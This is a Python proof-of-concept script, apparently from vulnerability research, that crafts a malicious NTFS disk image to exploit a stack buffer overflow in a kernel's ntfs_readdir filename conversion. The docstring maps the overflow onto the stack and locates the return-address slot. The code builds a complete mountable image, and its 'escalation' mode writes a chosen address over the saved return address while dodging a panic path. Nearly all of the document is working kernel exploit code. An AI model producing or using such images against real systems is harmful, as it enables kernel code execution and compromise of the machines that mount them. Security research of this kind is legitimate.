#!/usr/bin/env python3
"""
DF-0873 NTFS image crafter -- stack buffer overflow in ntfs_readdir convname.

The bug (sys/vfs/ntfs/ntfs_vnops.c:517,590-595):

    char convname[NTFS_MAXFILENAME + 1];          // :517  -> 256-byte stack buf
    for(i=0, j=0; i < iep->ie_fnamelen; i++, j++) {   // :590  ie_fnamelen u8
        c = NTFS_U28(iep->ie_fname[i]);               // :591
        if (c & 0xFF00)
            convname[j++] = (char)(c >> 8);            // :593  WIDE write (+1)
        convname[j] = (char)c & 0xFF;                  // :594  NO bound on j
    }
    convname[j] = '\0';                                // :596

NTFS_U28 (ntfs_subr.c:2044) with the DEFAULT mount table (no KICONV):
    ntmp->ntm_u28[(wc>>8)&0xFF][wc&0xFF]   // = (char)(local byte)
For a wchar wc in 0x80..0xFF the stored char is >=0x80 -> negative ->
sign-extended back to wchar (u_int16_t) 0xFFxx -> (c & 0xFF00) != 0 ->
TWO bytes written per input char.  ie_fnamelen=255 (u8 max, unvalidated) all
wide -> j runs to 510 -> convname[510]=NUL -> 255 bytes past the 256-byte
buffer.

Stack layout (disassembled ntfs_readdir in ntfs.ko, gcc 8.3, GENERIC,
options INVARIANTS, NO stack canary -- sys/conf/files:2219 has
libkern/stack_protector.c commented out):

    convname at -0x130(%rbp)             (256 bytes: indices 0..255)
    saved rbx  at -0x28(%rbp)  = convname[264..271]
    saved r12  at -0x20(%rbp)  = convname[272..279]
    saved r13  at -0x18(%rbp)  = convname[280..287]
    saved r14  at -0x10(%rbp)  = convname[288..295]
    saved r15  at -0x08(%rbp)  = convname[296..303]
    saved rbp              0   = convname[304..311]
    RETURN ADDRESS    +0x08   = convname[312..319]   <-- SMASHED
    caller frame      +0x10.. = convname[320..510]   <-- SMASHED

So the overflow reaches and overwrites the return address (and 5 callee-saved
registers + saved rbp) on the DEFAULT GENERIC kernel.  No canary, no SMAP/SMEP,
no KASLR.  See VERDICT.md for the escalation analysis.

This builder is a sibling of DF-0785's craft_img.py; it produces a minimal
mountable NTFS image whose root directory $INDEX_ROOT:$I30 contains ONE evil
index entry with ie_fnamelen=255 and all 255 filename wchars == 0x0080
(sign-extends -> wide) plus a terminal LAST entry.

Geometry (standard NTFS): bps=512, spc=8 (4096-byte cluster),
mftrecsz=0xF6 => MFT record = 1024 bytes.

Entry layout (struct attr_indexentry, NATURAL alignment -- confirmed by
disassembly: ie_fnamelen at entry+0x50, ie_fname at entry+0x52):
    +0x00 ie_number    u32
    +0x04 unknown1     u32
    +0x08 reclen       u16
    +0x0A ie_size      u16
    +0x0C ie_flag      u32     (1=subnode, 2=LAST)
    +0x10 ie_fpnumber  u32
    +0x14 unknown2     u32
    +0x18 ie_ftimes    4*u64 (32 bytes)
    +0x38 ie_fallocated u64
    +0x40 ie_fsize      u64
    +0x48 ie_fflag      u64
    +0x50 ie_fnamelen   u8
    +0x51 ie_fnametype  u8     (1=Win32 -> ntfs_isnamepermitted returns 1)
    +0x52 ie_fname[]    wchar[]

Usage:
    craft_img.py [out.img] [wbyte]
    wbyte: the wide input wchar low byte to repeat (default 0x80).
           0x80..0xFF => wide expansion.  Special values:
             0xFE => "pattern" mode: emits a controlled byte stream designed
                     to place a chosen 8-byte value at convname[312..319]
                     (the return-address slot) -- see build_pattern().
"""

import struct
import sys

# ---- geometry ----
BPS         = 512
SPC         = 8
CLU         = BPS * SPC            # 4096
MFTRECSZ    = 0xF6                 # -10 => 2**10 = 1024
RECSZ       = 1024
NCLUSTERS   = 128                  # 512 KB volume
MFTCN       = 2
UPCASE_CN   = 34
UPCASE_NCLU = 32                   # 131072 B = 65536 * sizeof(wchar)

FILE_MAGIC  = 0x454C4946           # "FILE"
FIXUP_OFF   = 0x30
FIXUP_VAL   = 0xA001

A_STD, A_NAME, A_DATA, A_INDXROOT = 0x10, 0x30, 0x80, 0x90


def le16(v): return struct.pack("<H", v & 0xFFFF)
def le32(v): return struct.pack("<I", v & 0xFFFFFFFF)
def le64(v): return struct.pack("<Q", v & 0xFFFFFFFFFFFFFFFF)


def boot_sector():
    b = bytearray(BPS)
    b[0:3]   = b"\xEB\x52\x90"
    b[3:11]  = b"NTFS    "
    struct.pack_into("<H", b, 11, BPS)
    b[13]    = SPC
    b[21]    = 0xF8
    struct.pack_into("<H", b, 24, 32)
    struct.pack_into("<H", b, 26, 2)
    struct.pack_into("<Q", b, 40, NCLUSTERS * SPC)
    struct.pack_into("<Q", b, 48, MFTCN)
    struct.pack_into("<Q", b, 56, 64)
    b[64]    = MFTRECSZ
    struct.pack_into("<I", b, 65, 4096)
    struct.pack_into("<I", b, 69, 0xDEADBEEF)
    return bytes(b)


def resident_attr(atype, datalen, data, name="", reclen_pad=8):
    wname = name.encode("utf-16-le") if name else b""
    namelen = len(name)
    nameoff = 0x18
    dataoff = nameoff + len(wname)
    reclen  = dataoff + datalen
    reclen  = (reclen + reclen_pad - 1) & ~(reclen_pad - 1)
    buf = bytearray(reclen)
    struct.pack_into("<I", buf, 0, atype)
    struct.pack_into("<I", buf, 4, reclen)
    buf[8]  = 0
    buf[9]  = namelen
    buf[10] = nameoff & 0xFF
    buf[11] = 0
    buf[12] = 0
    buf[13] = 0
    struct.pack_into("<H", buf, 14, 0)
    struct.pack_into("<H", buf, 16, datalen)
    struct.pack_into("<H", buf, 18, 0)
    struct.pack_into("<H", buf, 20, dataoff)
    struct.pack_into("<H", buf, 22, 0)
    buf[nameoff:dataoff] = wname
    buf[dataoff:dataoff + len(data)] = data[:datalen]
    return bytes(buf)


def nonresident_data_attr(runs_bytes, allocated, datalen):
    dataoff = 0x40
    reclen = dataoff + len(runs_bytes)
    reclen = (reclen + 7) & ~7
    buf = bytearray(reclen)
    struct.pack_into("<I", buf, 0, A_DATA)
    struct.pack_into("<I", buf, 4, reclen)
    buf[8]  = 0x01
    buf[9]  = 0
    buf[10] = dataoff & 0xFF
    struct.pack_into("<Q", buf, 16, 0)
    ncu = datalen // CLU
    struct.pack_into("<Q", buf, 24, ncu - 1)
    struct.pack_into("<H", buf, 32, dataoff)
    struct.pack_into("<H", buf, 34, 0)
    struct.pack_into("<I", buf, 36, 0)
    struct.pack_into("<Q", buf, 40, allocated)
    struct.pack_into("<Q", buf, 48, datalen)
    struct.pack_into("<Q", buf, 56, datalen)
    buf[dataoff:dataoff + len(runs_bytes)] = runs_bytes
    return bytes(buf)


def term_attr():
    b = bytearray(8)
    struct.pack_into("<I", b, 0, 0xFFFFFFFF)
    return bytes(b)


def mft_record(seqnum, nlink, flags, attrs_bytes):
    rec = bytearray(RECSZ)
    struct.pack_into("<I", rec, 0, FILE_MAGIC)
    struct.pack_into("<H", rec, 4, FIXUP_OFF)
    struct.pack_into("<H", rec, 6, RECSZ // BPS + 1)
    struct.pack_into("<H", rec, 16, seqnum)
    struct.pack_into("<H", rec, 18, nlink)
    attroff = 0x38
    struct.pack_into("<H", rec, 20, attroff)
    struct.pack_into("<H", rec, 22, flags)
    used = attroff + len(attrs_bytes)
    struct.pack_into("<I", rec, 24, used)
    struct.pack_into("<I", rec, 28, RECSZ)
    struct.pack_into("<Q", rec, 32, 0)
    struct.pack_into("<H", rec, 40, 0)
    struct.pack_into("<HHH", rec, FIXUP_OFF, FIXUP_VAL, FIXUP_VAL, FIXUP_VAL)
    rec[attroff:attroff + len(attrs_bytes)] = attrs_bytes
    struct.pack_into("<H", rec, BPS - 2, FIXUP_VAL)
    struct.pack_into("<H", rec, RECSZ - 2, FIXUP_VAL)
    return bytes(rec)


def index_entry(evil=False, fnamelen=0, fname_wchars=None, last=False):
    """Build one struct attr_indexentry (natural alignment).

    evil=True  -> the overflow entry (ie_fnamelen set, fname filled).
    last=True  -> terminal LAST entry (ie_flag=2).
    fname_wchars: list of wchar values (only used if evil=True).
    """
    if last:
        e = bytearray(0x58)            # 88 bytes, plenty for the header
        struct.pack_into("<I", e, 0x0C, 0x00000002)   # ie_flag = LAST
        struct.pack_into("<H", e, 0x08, len(e))        # reclen
        return bytes(e)

    # evil entry: 82-byte header + fnamelen*2 bytes of wchar fname
    body = 82 + fnamelen * 2
    e = bytearray(body)
    struct.pack_into("<I", e, 0x00, 0x11)          # ie_number (arbitrary)
    struct.pack_into("<H", e, 0x08, body)          # reclen = full entry size
    struct.pack_into("<I", e, 0x0C, 0x00000000)    # ie_flag = 0 (not last)
    struct.pack_into("<I", e, 0x10, 0x05)          # ie_fpnumber = root
    struct.pack_into("<Q", e, 0x48, 0x00000000)    # ie_fflag = 0 (regular)
    e[0x50] = fnamelen & 0xFF                       # ie_fnamelen
    e[0x51] = 0x01                                   # ie_fnametype = Win32
    for k, w in enumerate(fname_wchars):
        struct.pack_into("<H", e, 0x52 + k * 2, w & 0xFFFF)
    return bytes(e)


def index_root_data(entries):
    """Resident $INDEX_ROOT data: 32-B attr_indexroot header + entries.

    ir_flag = 0 (NO INDXALLOC) so ntfs_ntreaddir reads only the resident
    entries and does not require $INDEX_ALLOCATION / $BITMAP.
    """
    hdr = bytearray(32)
    struct.pack_into("<I", hdr, 0, 0x30)       # ir_unkn1
    struct.pack_into("<I", hdr, 4, 0x01)       # ir_unkn2
    ir_size = 0x1000                            # index block size (alloc)
    entries_size = sum(len(e) for e in entries)
    struct.pack_into("<I", hdr, 8, ir_size)    # ir_size
    struct.pack_into("<I", hdr, 12, 1)         # ir_unkn3 (clusters/idxblk)
    struct.pack_into("<I", hdr, 16, 0x10)      # ir_unkn4
    struct.pack_into("<I", hdr, 20, entries_size)   # ir_datalen
    struct.pack_into("<I", hdr, 24, entries_size)   # ir_allocated
    struct.pack_into("<H", hdr, 28, 0x0000)    # ir_flag = 0 (no indxalloc)
    struct.pack_into("<H", hdr, 30, 0x0000)    # ir_unkn7
    data = bytes(hdr)
    for e in entries:
        data += e
    return data


def attrdef_data():
    e0 = bytearray(160)
    name = "$STANDARD_INFORMATION"
    for i, ch in enumerate(name):
        struct.pack_into("<H", e0, i * 2, ord(ch))
    struct.pack_into("<I", e0, 128, A_STD)
    e1 = bytearray(160)
    return bytes(e0) + bytes(e1)


def upcase_table():
    return b"".join(struct.pack("<H", i) for i in range(65536))


def runs_encode(cluster, length):
    return bytes([0x11, length & 0xFF, cluster & 0x7F, 0x00])


def build_pattern(target_addr):
    """Construct 255 wchar values whose convname expansion:
       - writes convname[0..319] (so j reaches 320),
       - places target_addr (8 LE bytes) at convname[312..319] (the ret slot),
       - leaves convname[320+]=0 (NUL terminator) so the caller frame's
         a_ncookies field (which lives at convname[320+]) stays intact (NULL)
         and ntfs_readdir's cookies-path panic is BYPASSED, letting the
         function reach its `ret` with our smashed return address.

    Token model (default-mount NTFS_U28): each input wchar v produces
        v < 0x80  -> 1 byte  (value v)         [single]
        v >= 0x80 -> 2 bytes (0xFF, v&0xFF)    [wide]
    j_final = (#single) + 2*(#wide) = 255 + #wide.  For j=320 -> #wide = 65.

    Layout chosen (requires target_addr to have all 8 bytes < 0x80, which
    holds for any low-half canonical userspace address like 0x0000000001337000):
        182 single(0x41) -> convname[0..181]
        65  wide(0x80)   -> convname[182..311]  (FF 80 repeating; smashes
                                                 saved rbx/r12/r13/r14/r15/rbp
                                                 at convname[264..311] -- OK)
        8   single(byte) -> convname[312..319]  (the 8 address bytes)
    total = 255 wchars, j_final = 320, convname[320]=0.
    """
    wchars = []
    # prefix: 182 single chars (in-bounds + start of OOB, harmless values)
    wchars += [0x0041] * 182           # -> convname[0..181] = 'A'
    # 65 wide chars -> convname[182..311] = (FF 80)*65, smashes saved regs/rbp
    wchars += [0x0080] * 65
    # 8 address bytes (all < 0x80 for a low-half user addr) -> convname[312..319]
    for i in range(8):
        b = (target_addr >> (8 * i)) & 0xFF
        if b >= 0x80:
            raise SystemExit(f"[!] build_pattern: addr byte {i}=0x{b:02X} >=0x80; "
                             f"choose a user address with all bytes <0x80")
        wchars.append(b)
    assert len(wchars) == 255, len(wchars)
    return wchars


def build(out_path, wbyte=0x80, ret_addr=None):
    img = bytearray(NCLUSTERS * CLU)
    img[0:BPS] = boot_sector()

    # MFT record 0: $MFT
    rec0 = mft_record(1, 1, 0,
                      resident_attr(A_DATA, 8, b"\x00" * 8) + term_attr())
    off = MFTCN * CLU + 0 * RECSZ
    img[off:off + RECSZ] = rec0

    # MFT record 4: $AttrDef
    ad = attrdef_data()
    rec4 = mft_record(1, 1, 0,
                      resident_attr(A_DATA, len(ad), ad) + term_attr())
    off = MFTCN * CLU + 4 * RECSZ
    img[off:off + RECSZ] = rec4

    # MFT record 5: root dir with EVIL $INDEX_ROOT
    if ret_addr is not None:
        # escalation image: j=320 overflow, place ret_addr at convname[312..319]
        wchars = build_pattern(ret_addr)
    else:
        wchars = [wbyte & 0xFFFF] * 255

    e1 = index_entry(True, 255, wchars)
    e2 = index_entry(last=True)
    iroot = index_root_data([e1, e2])
    idxroot_attr = resident_attr(A_INDXROOT, len(iroot), iroot, name="$I30")
    NTFS_FRFLAG_DIR = 0x0002
    rec5 = mft_record(1, 1, NTFS_FRFLAG_DIR, idxroot_attr + term_attr())
    off = MFTCN * CLU + 5 * RECSZ
    img[off:off + RECSZ] = rec5

    # MFT record 6: $Bitmap
    bmp = b"\xFF" * 16
    rec6 = mft_record(1, 1, 0,
                      resident_attr(A_DATA, len(bmp), bmp) + term_attr())
    off = MFTCN * CLU + 6 * RECSZ
    img[off:off + RECSZ] = rec6

    # MFT record 10: $UpCase (non-resident)
    runs = runs_encode(UPCASE_CN, UPCASE_NCLU)
    nr = nonresident_data_attr(runs, UPCASE_NCLU * CLU, UPCASE_NCLU * CLU)
    rec10 = mft_record(1, 1, 0, nr + term_attr())
    off = MFTCN * CLU + 10 * RECSZ
    img[off:off + RECSZ] = rec10

    uo = UPCASE_CN * CLU
    img[uo:uo + UPCASE_NCLU * CLU] = upcase_table()

    with open(out_path, "wb") as f:
        f.write(img)

    mode = "panic-repro" if ret_addr is None else "escalation"
    print(f"[+] wrote {out_path} ({len(img)} bytes)  mode={mode}")
    print(f"[+] root $INDEX_ROOT evil entry: ie_fnamelen=255, "
          f"wchar=0x{wbyte:04X}" + ("" if ret_addr is None else
          f", ret_addr=0x{ret_addr:016X}"))
    print(f"[+] convname overflow: 256-byte buf, j reaches 510, "
          f"255 bytes OOB; ret @ convname[312..319]")


if __name__ == "__main__":
    out = sys.argv[1] if len(sys.argv) > 1 else "ntfs_evil.img"
    wb = int(sys.argv[2], 0) if len(sys.argv) > 2 else 0x80
    ra = int(sys.argv[3], 0) if len(sys.argv) > 3 else None
    build(out, wb, ra)
